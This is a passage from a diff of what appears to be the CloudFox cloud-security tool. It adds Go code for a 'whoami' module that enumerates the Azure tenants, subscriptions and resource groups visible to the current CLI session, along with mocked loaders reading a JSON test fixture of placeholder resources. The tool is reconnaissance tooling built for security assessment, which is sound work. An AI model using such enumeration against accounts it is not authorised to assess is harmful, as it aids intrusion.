"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA1/providers/Microsoft.Compute/virtualMachines/TestVM-3",
"location": "us-east-2",
"properties": {
"networkProfile": {
"networkInterfaces": [
{
"id": "/subscriptions/AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA/resourceGroups/ResourceGroupA1/providers/Microsoft.Network/networkInterfaces/NetworkInterface4"
}
]
},
"osProfile": {
"adminUsername": "admin"
}
}
}
]
+190
View File
@@ -0,0 +1,190 @@
package azure
import (
"context"
"encoding/json"
"fmt"
"log"
"os"
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/resources"
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
"github.com/fatih/color"
"github.com/kyokomi/emoji"
)
func AzWhoamiCommand(version string, AzWrapTable bool) error {
fmt.Printf("[%s][%s] Enumerating Azure CLI sessions...\n", color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", version)), color.CyanString(globals.AZ_WHOAMI_MODULE_NAME))
var header []string
var body [][]string
header, body = getWhoamiRelevantDataPerRG()
internal.PrintTableToScreen(header, body, AzWrapTable)
return nil
}
func getWhoamiRelevantDataPerRG() ([]string, [][]string) {
tableHead := []string{"Tenant ID", "Subscription ID", "Subscription Name", "RG Name", "Region", "Domain"}
var tableBody [][]string
for _, t := range getTenants() {
for _, s := range getSubscriptions() {
if ptr.ToString(t.TenantID) == ptr.ToString(s.TenantID) {
for _, rg := range getResourceGroups(ptr.ToString(s.SubscriptionID)) {
tableBody = append(
tableBody,
[]string{
ptr.ToString(s.TenantID),
ptr.ToString(s.SubscriptionID),
ptr.ToString(s.DisplayName),
ptr.ToString(rg.Name),
ptr.ToString(rg.Location),
ptr.ToString(t.DefaultDomain)})
}
}
}
}
return tableHead, tableBody
}
func GetTenantIDPerSubscription(subscriptionID string) *string {
subs := getSubscriptions()
for _, s := range subs {
if ptr.ToString(s.SubscriptionID) == subscriptionID {
return s.TenantID
}
}
return nil
}
func GetSubscriptionsPerTenantID(tenantID string) []subscriptions.Subscription {
subs := getSubscriptions()
var results []subscriptions.Subscription
for _, s := range subs {
if ptr.ToString(s.TenantID) == tenantID {
results = append(results, s)
}
}
return results
}
var getTenants = getTenantsOriginal
func getTenantsOriginal() []subscriptions.TenantIDDescription {
tenantsClient := internal.GetTenantsClient()
var results []subscriptions.TenantIDDescription
for page, err := tenantsClient.List(context.TODO()); page.NotDone(); err = page.Next() {
if err != nil {
log.Fatal("could not get tenants for active session")
}
results = append(results, page.Values()...)
}
return results
}
func mockedGetTenants() []subscriptions.TenantIDDescription {
var results []subscriptions.TenantIDDescription
for _, tenant := range loadTestFile(globals.RESOURCES_TEST_FILE).Tenants {
results = append(results, subscriptions.TenantIDDescription{
TenantID: tenant.TenantID,
DisplayName: tenant.DisplayName,
DefaultDomain: tenant.DefaultDomain,
})
}
return results
}
var getSubscriptions = getSubscriptionsOriginal
func getSubscriptionsOriginal() []subscriptions.Subscription {
var results []subscriptions.Subscription
subsClient := internal.GetSubscriptionsClient()
for page, err := subsClient.List(context.TODO()); page.NotDone(); err = page.Next() {
if err != nil {
log.Fatal("could not get subscriptions for active session")
}
results = append(results, page.Values()...)
}
return results
}
func mockedGetSubscriptions() []subscriptions.Subscription {
var results []subscriptions.Subscription
tenants := loadTestFile(globals.RESOURCES_TEST_FILE).Tenants
for _, tenant := range tenants {
for _, sub := range tenant.Subscriptions {
results = append(results, subscriptions.Subscription{
TenantID: tenant.TenantID,
SubscriptionID: sub.SubscriptionId,
DisplayName: sub.DisplayName,
})
}
}
return results
}
var getResourceGroups = getResourceGroupsOriginal
func getResourceGroupsOriginal(subscriptionID string) []resources.Group {
var results []resources.Group
rgClient := internal.GetResourceGroupsClient(subscriptionID)
for page, err := rgClient.List(context.TODO(), "", nil); page.NotDone(); err = page.Next() {
if err != nil {
log.Fatalf("error reading resource groups for subscription %s", subscriptionID)
}
results = append(results, page.Values()...)
}
return results
}
func mockedGetResourceGroups(subscriptionID string) []resources.Group {
var results []resources.Group
for _, tenant := range loadTestFile(globals.RESOURCES_TEST_FILE).Tenants {
for _, sub := range tenant.Subscriptions {
if ptr.ToString(sub.SubscriptionId) == subscriptionID {
for _, rg := range sub.ResourceGroups {
results = append(results, resources.Group{
ID: rg.ID,
Name: rg.Name,
Location: rg.Location,
})
}
}
}
}
return results
}
func loadTestFile(fileName string) ResourcesTestFile {
file, err := os.ReadFile(fileName)
if err != nil {
log.Fatalf("could not read file %s", globals.RESOURCES_TEST_FILE)
}
var testFile ResourcesTestFile
err = json.Unmarshal(file, &testFile)
if err != nil {
log.Fatalf("could not unmarshall file %s", globals.RESOURCES_TEST_FILE)
}
return testFile
}
type ResourcesTestFile struct {
Tenants []struct {
DisplayName *string `json:"displayName"`
TenantID *string `json:"tenantId"`
DefaultDomain *string `json:"defaultDomain,omitempty"`
Subscriptions []struct {
DisplayName *string `json:"displayName"`
SubscriptionId *string `json:"subscriptionId"`
ResourceGroups []struct {
Name *string `json:"Name"`
ID *string `json:"id"`
Location *string `json:"location"`
} `json:"ResourceGroups"`
} `json:"Subscriptions"`
} `json:"Tenants"`
}
Loaded 100 of 148 files, more files were not shown because too many files have changed in this diff. Show more